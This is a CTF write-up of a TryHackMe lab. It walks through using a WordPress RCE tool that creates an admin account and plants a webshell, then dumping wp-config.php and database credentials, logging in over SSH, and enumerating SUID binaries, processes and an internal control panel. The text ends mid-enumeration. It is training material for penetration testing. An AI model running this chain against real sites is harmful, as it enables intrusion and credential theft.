Post cover image

September 3, 2026

TryHackMe Agent P | wp2shell | Python pickle | C2 | Overflow The Jackpot CTF | 2026

This guide outlines the multi-stage exploitation of the target environment, demonstrating common misconfigurations and vulnerability…

By Sushma

24 min read

This guide outlines the multi-stage exploitation of the target environment, demonstrating common misconfigurations and vulnerability patterns often encountered in penetration testing. 🛡️

Phase 1: Initial Foothold (WordPress)

  1. Identify the Entry Point: The target environment utilizes an outdated WordPress instance. Automated tools like wp2shell can be leveraged to quickly obtain a reverse shell, bypassing the need for manual plugin or theme enumeration.
  • Command: python3 wp2shell.py
None

wp2shell/wp2shell.py at main · 0xsha/wp2shell CVE-2026-63030 + CVE-2026-60137 - "wp2shell": unauthenticated RCE in WordPress core - wp2shell/wp2shell.py at main ·…

  1. Information Gathering: Once inside, navigate to the web root and examine wp-config.php. This file typically contains database credentials. 🔍
┌──(kali㉿kali)-[~/Downloads]
└─$ python3 wp2shell.py shell http://10.48.151.215  -i

wp2shell - RCE PoC by 0xsha
[*] No credentials supplied - creating a fresh administrator pre-auth (no hash, no crack) ...
[+] Administrator created: wp2_0364297eeb62 / Wp2!KXU-_GZ6enSrUhA2HdkJ  (borrowed admin id 1)
[!] This uploads a plugin containing a webshell to the target.
[*] Authenticating as 'wp2_0364297eeb62' ...
[+] Authenticated.
[*] Deploying webshell plugin ...
[+] Webshell: http://10.48.151.215/wp-content/plugins/wp2shell_cd98aafb/wp2shell_cd98aafb.php
[*] Interactive shell - 'exit' or Ctrl-D to quit.
/var/www/html/wp-content/plugins/wp2shell_cd98aafb $
/var/www/html $ cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * Localized language
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wpuser' );

/** Database password */
define( 'DB_PASSWORD', 'wp_WjURfdI' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',          'I9xUEHzHFrz]7%^skFYxfp7yf<S1pUX34MwsjO`Q[[#}jFu^4fh6%z$*tcfIv37q' );
define( 'SECURE_AUTH_KEY',   'b+*h8- l}KbC/!lUsLY@PCIjS9{&%k8_do~5=6xt>KV|G*~dG0c*${/k`g#&)Ph@' );
define( 'LOGGED_IN_KEY',     'rQdkSxCTXHjm>Py6jPSD>igzKUagx[=Jh@a4xk#_xlNV|EF_.O}@a`&%j/u~%Pl?' );
define( 'NONCE_KEY',         'i,WH<0:oqj8TT;=FN~vAV}q*h5cd>.0bQTS^?2 .{du^wJJ=^%w:~?3?W:2EQ7=C' );
define( 'AUTH_SALT',         '|+ tU1bL-ToNMAG7+UD@I_u:DPOoQYSy>e|t~?gTOZ36BPqvB24cFji MNo7Yx#X' );
define( 'SECURE_AUTH_SALT',  'RTh]LAJ>rMT{BI6+C<`}l93s,1Ccs8!/jxHD,omh{%&6K2qMR}?o?x1+:xxXe=*<' );
define( 'LOGGED_IN_SALT',    '9xO6TA=W$_~g3XHH}EL,fM_ttW++PCw93S-H:Z[O=XoTR=R+>5x(}AV_$uY/n@bw' );
define( 'NONCE_SALT',        'd) (UAhi`|O0jM|do-Lmf];1|>XduffRn.o?rmeFd}V9TrwnC!4d:t4.*O,1Q.HX' );
define( 'WP_CACHE_KEY_SALT', 'qqOM?a&Sm7n/JHX]B!#^Zl<&Fq0FU{K|}M@UuR[KjG-u;})zt#O^+#Sa<meTb_YJ' );

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/* Add any custom values between this line and the "stop editing" line. */

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
if ( ! defined( 'WP_DEBUG' ) ) {
        define( 'WP_DEBUG', false );
}

define( 'WP_HOME', ( isset($_SERVER['HTTP_HOST']) ? 'http://'.$_SERVER['HTTP_HOST'] : 'http://localhost' ) );
define( 'WP_SITEURL', ( isset($_SERVER['HTTP_HOST']) ? 'http://'.$_SERVER['HTTP_HOST'] : 'http://localhost' ) );
define( 'AUTOMATIC_UPDATER_DISABLED', true );
define( 'WP_AUTO_UPDATE_CORE', false );
/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

Phase 2: Lateral Movement (Database & System Credentials)

  1. Database Enumeration: Connect to the local MySQL database using the credentials discovered in the configuration file.
/var/www/html $ mysql -uwpuser -pwp_WjURfdI wordpress -e 'SHOW TABLES;'
Tables_in_wordpress
wp_commentmeta
wp_comments
wp_infra_accounts
wp_links
wp_options
wp_postmeta
wp_posts
wp_term_relationships
wp_term_taxonomy
wp_termmeta
wp_terms
wp_usermeta
wp_users
  1. Credential Extraction: Inspect the tables for non-standard entries. In this scenario, an unauthorized table was used to store cleartext credentials for a low-privileged system user (norm).
/var/www/html $ mysql -uwpuser -pwp_WjURfdI wordpress -e 'SELECT * FROM wp_infra_accounts;'
host_user       host_pass       note
norm    N0rm_th3_r0b0t_2026     ssh sync target for the -inator newsletter cron
  1. Accessing the System: Utilize the discovered credentials to log in via SSH or establish a more stable terminal session. 🔑
┌──(kali㉿kali)-[~/Downloads]
└─$ ssh norm@10.48.151.215

The authenticity of host '10.48.151.215 (10.48.151.215)' can't be established.
ED25519 key fingerprint is: SHA256:eLHM2pX4fNTRmTOMGQxxw6jrrRPcQpCxyppXBLFWiTM
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.48.151.215' (ED25519) to the list of known hosts.
norm@10.48.151.215's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 7.0.0-1010-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue Aug 11 13:17:51 UTC 2026

  System load:  0.0                Temperature:           -273.1 C
  Usage of /:   21.4% of 19.31GB   Processes:             128
  Memory usage: 13%                Users logged in:       0
  Swap usage:   0%                 IPv4 address for ens5: 10.48.151.215

 * Ubuntu Pro delivers the most comprehensive open source security and
   compliance features.

   https://ubuntu.com/aws/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

3 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Last login: Sat Jul 25 13:23:19 2026 from 192.168.129.8
norm@tryhackme-2404:~$ ls
user.txt
norm@tryhackme-2404:~$ cat user.txt
EVILINC{n0rm_r34ds_th3_db_l1k3_4_g00d_r0b0t}
norm@tryhackme-2404:~$ env
SHELL=/bin/bash
PWD=/home/norm
LOGNAME=norm
XDG_SESSION_TYPE=tty
HOME=/home/norm
LANG=C.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=00:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.avif=01;35:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:*~=00;90:*#=00;90:*.bak=00;90:*.crdownload=00;90:*.dpkg-dist=00;90:*.dpkg-new=00;90:*.dpkg-old=00;90:*.dpkg-tmp=00;90:*.old=00;90:*.orig=00;90:*.part=00;90:*.rej=00;90:*.rpmnew=00;90:*.rpmorig=00;90:*.rpmsave=00;90:*.swp=00;90:*.tmp=00;90:*.ucf-dist=00;90:*.ucf-new=00;90:*.ucf-old=00;90:
SSH_CONNECTION=192.168.139.157 49400 10.48.151.215 22
LESSCLOSE=/usr/bin/lesspipe %s %s
XDG_SESSION_CLASS=user
TERM=xterm-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=norm
SHLVL=1
XDG_SESSION_ID=15
XDG_RUNTIME_DIR=/run/user/1001
SSH_CLIENT=192.168.139.157 49400 22
DEBUGINFOD_URLS=https://debuginfod.ubuntu.com
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1001/bus
SSH_TTY=/dev/pts/1
_=/usr/bin/env

getent passwd norm vanessa queries the system's name service switch (NSS) — typically /etc/passwd plus any configured backends like LDAP — and prints the passwd-format entry (username, UID, GID, home dir, shell, etc.) for each of the two specified users, norm and vanessa, if they exist.

norm@tryhackme-2404:~$ getent passwd norm vanessa
norm:x:1001:1002::/home/norm:/bin/bash
vanessa:x:1002:1003::/home/vanessa:/bin/bash
find / -xdev -perm -4000 -type f 2>/dev/null

This command searches the filesystem (staying on one device with -xdev, so it won't cross into mounted filesystems like /proc or other partitions) for regular files (-type f) that have the SUID bit set (-perm -4000) — i.e. programs that run with the file owner's privileges (often root) regardless of who executes them — while discarding permission-denied errors (2>/dev/null); this is a standard Linux privilege-escalation enumeration step used to spot SUID binaries that might be exploitable to gain higher privileges.

norm@tryhackme-2404:~$ find / -xdev -perm -4000 -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/mount

ps auxww lists all running processes on the system (a = processes from all users, u = user-oriented detailed format showing owner/CPU/memory, x = include processes not attached to a terminal, ww = don't truncate the command-line output, showing it in full even if very long) — commonly used to spot interesting running services, cron jobs, or processes with sensitive info (like passwords) exposed in their command-line arguments.

norm@tryhackme-2404:~$ ps auxww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.3  22788 13816 ?        Ss   12:08   0:04 /sbin/init
root           2  0.0  0.0      0     0 ?        S    12:08   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        S    12:08   0:00 [pool_workqueue_release]
root           4  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-rcu_gp]
root           5  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-sync_wq]
root           6  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-kvfree_rcu_reclaim]
root           7  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-slub_flushwq]
root           8  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-netns]
root          10  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/0:0H-kblockd]
root          13  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-mm_percpu_wq]
root          14  0.0  0.0      0     0 ?        S    12:08   0:00 [ksoftirqd/0]
root          15  0.0  0.0      0     0 ?        I    12:08   0:00 [rcu_sched]
root          16  0.0  0.0      0     0 ?        S    12:08   0:00 [rcu_exp_par_gp_kthread_worker/0]
root          17  0.0  0.0      0     0 ?        S    12:08   0:00 [rcu_exp_gp_kthread_worker]
root          18  0.0  0.0      0     0 ?        S    12:08   0:00 [migration/0]
root          19  0.0  0.0      0     0 ?        S    12:08   0:00 [kprobe-optimizer]
root          20  0.0  0.0      0     0 ?        S    12:08   0:00 [idle_inject/0]
root          21  0.0  0.0      0     0 ?        S    12:08   0:00 [cpuhp/0]
root          22  0.0  0.0      0     0 ?        S    12:08   0:00 [cpuhp/1]
root          23  0.0  0.0      0     0 ?        S    12:08   0:00 [idle_inject/1]
root          24  0.0  0.0      0     0 ?        S    12:08   0:00 [migration/1]
root          25  0.0  0.0      0     0 ?        S    12:08   0:00 [ksoftirqd/1]
root          27  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/1:0H-kblockd]
root          28  0.0  0.0      0     0 ?        S    12:08   0:00 [kdevtmpfs]
root          29  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-inet_frag_wq]
root          30  0.0  0.0      0     0 ?        I    12:08   0:00 [rcu_tasks_kthread]
root          31  0.0  0.0      0     0 ?        I    12:08   0:00 [rcu_tasks_rude_kthread]
root          32  0.0  0.0      0     0 ?        S    12:08   0:00 [kauditd]
root          33  0.0  0.0      0     0 ?        S    12:08   0:00 [khungtaskd]
root          35  0.0  0.0      0     0 ?        S    12:08   0:00 [oom_reaper]
root          37  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-writeback]
root          38  0.0  0.0      0     0 ?        S    12:08   0:00 [kcompactd0]
root          39  0.0  0.0      0     0 ?        SN   12:08   0:00 [ksmd]
root          40  0.0  0.0      0     0 ?        SN   12:08   0:00 [khugepaged]
root          41  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-kblockd]
root          42  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-blkcg_punt_bio]
root          43  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-kintegrityd]
root          44  0.0  0.0      0     0 ?        S    12:08   0:00 [irq/9-acpi]
root          46  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-tpm_dev_wq]
root          47  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-ata_sff]
root          48  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-md_bitmap]
root          49  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-md_llbitmap_io]
root          50  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-md_llbitmap_unplug]
root          51  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-edac-poller]
root          52  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-devfreq_wq]
root          53  0.0  0.0      0     0 ?        S    12:08   0:00 [watchdogd]
root          54  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-quota_events_unbound]
root          55  0.0  0.0      0     0 ?        S    12:08   0:00 [kswapd0]
root          56  0.0  0.0      0     0 ?        S    12:08   0:00 [ecryptfs-kthread]
root          57  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-kthrotld]
root          58  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-acpi_thermal_pm]
root          59  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-nvme-wq]
root          60  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-nvme-reset-wq]
root          61  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-nvme-delete-wq]
root          62  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-nvme-auth-wq]
root          64  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-mld]
root          65  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-ipv6_addrconf]
root          66  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-kstrp]
root          67  0.0  0.0      0     0 ?        I    12:08   0:00 [kworker/0:2-events]
root          69  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/u9:0]
root          80  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-charger_manager]
root          81  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/1:1H-kblockd]
root          82  0.0  0.0      0     0 ?        S    12:08   0:00 [jbd2/nvme0n1p1-8]
root          83  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-ext4-rsv-conversion]
root         107  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/0:1H-kblockd]
root         123  0.0  0.5  58768 20680 ?        S<s  12:08   0:00 /usr/lib/systemd/systemd-journald
root         148  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-kmpathd]
root         151  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-kmpath_handlerd]
root         164  0.0  0.0      0     0 ?        I    12:08   0:00 [kworker/1:3-events]
root         177  0.0  0.6 288960 27292 ?        SLsl 12:08   0:00 /sbin/multipathd -d -s
root         196  0.0  0.1  28184  7272 ?        Ss   12:08   0:00 /usr/lib/systemd/systemd-udevd
root         213  0.0  0.0      0     0 ?        I    12:08   0:00 [kworker/u8:7-events_unbound]
root         249  0.0  0.0      0     0 ?        S    12:08   0:00 [psimon]
systemd+     283  0.0  0.3  21472 12796 ?        Ss   12:08   0:00 /usr/lib/systemd/systemd-resolved
systemd+     284  0.0  0.2  91036  7988 ?        Ssl  12:08   0:00 /usr/lib/systemd/systemd-timesyncd
root         375  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-ena]
root         484  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-cfg80211]
systemd+     544  0.0  0.2  22424 10056 ?        Ss   12:08   0:00 /usr/lib/systemd/systemd-networkd
root         602  0.0  0.0   2728  1948 ?        Ss   12:08   0:00 /usr/sbin/acpid
root         606  0.0  0.0   7232  2760 ?        Ss   12:08   0:00 /usr/sbin/cron -f -P
message+     607  0.0  0.1   9636  5448 ?        Ss   12:08   0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root         612  0.0  0.2  93472 11728 ?        Ss   12:08   0:01 /usr/bin/python3 /opt/evilinc/c2/tasking_server.py
root         614  0.0  0.3  25012 14840 ?        Ss   12:08   0:00 /usr/bin/python3 /opt/evilinc/c2/heartbeat.py
root         615  0.0  0.1   8016  5532 ?        Ss   12:08   0:00 /opt/evilinc/implant
vanessa      617  0.0  0.6 110876 26544 ?        Ssl  12:08   0:01 /usr/bin/python3 /usr/bin/gunicorn --bind 127.0.0.1:8700 --workers 2 app:app
root         627  0.0  0.5 1833076 20992 ?       Ssl  12:08   0:01 /snap/amazon-ssm-agent/13349/amazon-ssm-agent
root         630  0.0  0.9 1850636 37988 ?       Ssl  12:08   0:00 /usr/lib/snapd/snapd
root         632  0.0  0.2  18180  9036 ?        Ss   12:08   0:00 /usr/lib/systemd/systemd-logind
root         683  0.0  0.0   6156  2160 ttyS0    Ss+  12:08   0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,57600,38400,9600 - vt220
root         707  0.0  0.0   6112  2028 tty1     Ss+  12:08   0:00 /sbin/agetty -o -p -- \u --noclear - linux
root         737  0.0  0.5 110024 23096 ?        Ssl  12:08   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
syslog       782  0.0  0.1 222516  6200 ?        Ssl  12:08   0:00 /usr/sbin/rsyslogd -n -iNONE
polkitd      787  0.0  0.2 382320  8852 ?        Ssl  12:08   0:00 /usr/lib/polkit-1/polkitd --no-debug
vanessa      894  0.0  0.7  42364 30216 ?        S    12:08   0:00 /usr/bin/python3 /usr/bin/gunicorn --bind 127.0.0.1:8700 --workers 2 app:app
mysql        900  0.0  2.8 1425220 110864 ?      Ssl  12:08   0:01 /usr/sbin/mariadbd
vanessa      906  0.0  0.7  42364 30212 ?        S    12:08   0:00 /usr/bin/python3 /usr/bin/gunicorn --bind 127.0.0.1:8700 --workers 2 app:app
root         955  0.0  0.7 230180 29924 ?        Ss   12:08   0:00 /usr/sbin/apache2 -k start
www-data    1065  0.0  1.1 232284 46064 ?        S    12:08   0:00 /usr/sbin/apache2 -k start
www-data    1066  0.0  1.3 307880 52064 ?        S    12:08   0:01 /usr/sbin/apache2 -k start
www-data    1067  0.0  1.1 305216 47188 ?        S    12:08   0:00 /usr/sbin/apache2 -k start
www-data    1068  0.0  1.1 231748 44052 ?        S    12:08   0:00 /usr/sbin/apache2 -k start
www-data    1069  0.0  1.1 231808 45732 ?        S    12:08   0:00 /usr/sbin/apache2 -k start
root        1139  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-dio/nvme0n1p1]
root        1160  0.0  0.7 2064688 31316 ?       Sl   12:08   0:03 /snap/amazon-ssm-agent/13349/ssm-agent-worker
root        1252  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-tls-strp]
root        1356  0.0  0.0      0     0 ?        S    12:08   0:00 [psimon]
root        1382  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-ib-comp-wq]
root        1383  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-ib-comp-unb-wq]
root        1384  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-ib_mcast]
root        1385  0.0  0.0      0     0 ?        I<   12:08   0:00 [kworker/R-ib_nl_sa_wq]
root        1859  0.0  0.0      0     0 ?        I    12:23   0:00 [kworker/1:0-cgroup_free]
www-data    2757  0.0  1.1 231920 45432 ?        S    12:55   0:00 /usr/sbin/apache2 -k start
www-data    2761  0.0  1.1 231832 47088 ?        S    12:55   0:00 /usr/sbin/apache2 -k start
www-data    2762  0.0  1.3 307780 52524 ?        S    12:55   0:00 /usr/sbin/apache2 -k start
root        3162  0.0  0.0      0     0 ?        I    13:09   0:00 [kworker/u8:1-flush-259:1]
root        3183  0.0  0.0      0     0 ?        I    13:09   0:00 [kworker/0:0-cgroup_free]
root        3350  0.0  0.0      0     0 ?        I    13:15   0:00 [kworker/u8:0-flush-259:1]
root        3415  0.0  0.2  12028  8212 ?        Ss   13:17   0:00 sshd: /usr/sbin/sshd -D -o AuthorizedKeysCommand /usr/share/ec2-instance-connect/eic_run_authorized_keys %u %f -o AuthorizedKeysCommandUser ec2-instance-connect [listener] 0 of 10-100 startups
root        3425  0.0  0.2  14876 10728 ?        Ss   13:17   0:00 sshd: norm [priv]
norm        3445  0.0  0.2  20144 11484 ?        Ss   13:17   0:00 /usr/lib/systemd/systemd --user
root        3446  0.0  0.0      0     0 ?        I    13:17   0:00 [kworker/0:1-events]
norm        3447  0.0  0.0  21168  3612 ?        S    13:17   0:00 (sd-pam)
norm        3536  0.0  0.1  15036  7188 ?        S    13:17   0:00 sshd: norm@pts/0
norm        3537  0.0  0.1   9204  5532 pts/0    Ss+  13:17   0:00 -bash
root        3618  0.0  0.2  14872 10680 ?        Ss   13:19   0:00 sshd: norm [priv]
norm        3699  0.0  0.1  15032  7268 ?        S    13:19   0:00 sshd: norm@pts/1
norm        3700  0.0  0.1   9072  5480 pts/1    Ss   13:19   0:00 -bash
root        3739  0.0  0.0   2808  1992 ?        Ss   13:20   0:00 /bin/sh /etc/update-motd.d/50-motd-news --force
root        3763  0.0  0.2  16272  8656 ?        S    13:20   0:00 wget --timeout 60 -U wget/1.21.4-1ubuntu4.4 Ubuntu/24.04.4/LTS GNU/Linux/7.0.0-1010-aws/x86_64 AMD/EPYC/7571 cloud_id/aws -O- --content-on-error https://motd.ubuntu.com
norm        3889  0.0  0.1  11328  4476 pts/1    R+   13:25   0:00 ps auxww
norm@tryhackme-2404:~$

ss -lntup lists listening network sockets (-l) showing TCP (-t) and UDP (-u) ports, includes the process/program name owning each socket (-p, usually needs root to see fully), and displays addresses/ports numerically instead of resolving hostnames (-n) — commonly used to enumerate what services are running locally and on which ports, e.g. to spot an internal-only service worth investigating further.

norm@tryhackme-2404:~$ ss -lntup
Netid          State           Recv-Q          Send-Q                        Local Address:Port                   Peer Address:Port         Process
udp            UNCONN          0               0                                127.0.0.54:53                          0.0.0.0:*
udp            UNCONN          0               0                             127.0.0.53%lo:53                          0.0.0.0:*
udp            UNCONN          0               0                        10.48.151.215%ens5:68                          0.0.0.0:*
tcp            LISTEN          0               4096                             127.0.0.54:53                          0.0.0.0:*
tcp            LISTEN          0               80                                127.0.0.1:3306                        0.0.0.0:*
tcp            LISTEN          0               4096                                0.0.0.0:22                          0.0.0.0:*
tcp            LISTEN          0               4096                          127.0.0.53%lo:53                          0.0.0.0:*
tcp            LISTEN          0               2048                              127.0.0.1:8700                        0.0.0.0:*
tcp            LISTEN          0               4096                                   [::]:22                             [::]:*
tcp            LISTEN          0               511                                       *:80                                *:*
norm@tryhackme-2404:~$ curl 127.0.0.1:8700
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Evil Inc. // -inator Control Panel</title>
<style>
  :root {
    --bg: #0a0c0f;
    --panel: #12161c;
    --line: #1e2630;
    --ink: #c9d3de;
    --dim: #6b7787;
    --accent: #7c5cff;
    --warn: #ff5c7c;
  }
  * { box-sizing: border-box; }
  body {
    margin: 0;
    background: var(--bg);
    color: var(--ink);
    font-family: system-ui, -apple-system, Segoe UI, Roboto, sans-serif;
    font-size: 14px;
    line-height: 1.5;
  }
  header {
    padding: 18px 24px;
    border-bottom: 1px solid var(--line);
    display: flex;
    align-items: baseline;
    gap: 14px;
  }
  header h1 { font-size: 15px; letter-spacing: .12em; text-transform: uppercase; margin: 0; }
  header .tag { color: var(--dim); font-size: 12px; letter-spacing: .18em; }
  main { max-width: 720px; margin: 0 auto; padding: 32px 24px; }
  .card {
    background: var(--panel);
    border: 1px solid var(--line);
    border-radius: 8px;
    padding: 20px 22px;
    margin-bottom: 20px;
  }
  .card h2 { font-size: 12px; letter-spacing: .16em; text-transform: uppercase; color: var(--dim); margin: 0 0 12px; }
  .status { font-size: 13px; }
  .status.ok { color: var(--accent); }
  .status.no { color: var(--warn); }
  code { background: #0d1116; border: 1px solid var(--line); border-radius: 4px; padding: 1px 6px; color: var(--ink); }
  .foot { color: var(--dim); font-size: 12px; margin-top: 28px; }
</style>
</head>
<body>
<header>
  <h1>-inator Control Panel</h1>
  <span class="tag">DOOFENSHMIRTZ EVIL INCORPORATED &middot; INTERNAL &middot; 127.0.0.1</span>
</header>
<main>
  <div class="card">
    <h2>Session</h2>

      <div class="status no">&#9679; No valid operator token. Authenticate by POSTing the operator secret to <code>/api/login</code> (field <code>secret</code>).</div>

  </div>

  <div class="card">
    <h2>Blueprint Import</h2>
    <p>Push a serialized -inator blueprint to <code>POST /api/blueprints/import</code>
       (field <code>blueprint</code>, base64). Grab a sample layout from
       <code>GET /api/blueprints/export</code>.</p>
    <p style="color:var(--dim)">Imports are validated by the restricted blueprint
       loader before rendering.</p>
  </div>

  <div class="foot">
    Norm keeps importing broken layouts. If a blueprint fails to load, the loader
    returns the reason. &mdash; Vanessa
  </div>
</main>
</body>
</html>
norm@tryhackme-2404:/etc/systemd/system$ ls
 ModemManager                             mdmonitor.service.wants                    snap-lxd-40111.mount
 badr.service                             multi-user.target.wants                    snap.amazon-ssm-agent.amazon-ssm-agent.service
 cloud-final.service.wants                multipath-tools.service                    snap.lxd.activate.service
 cloud-init.target.wants                  network-online.target.wants                snap.lxd.daemon.service
 dbus-org.freedesktop.resolve1.service    open-vm-tools.service.requires             snap.lxd.daemon.unix.socket
 dbus-org.freedesktop.timesync1.service   paths.target.wants                         snapd.mounts.target.wants
 default.target.wants                     rescue.target.wants                        sockets.target.wants
 emergency.target.wants                   sleep.target.wants                         ssh.service.requires
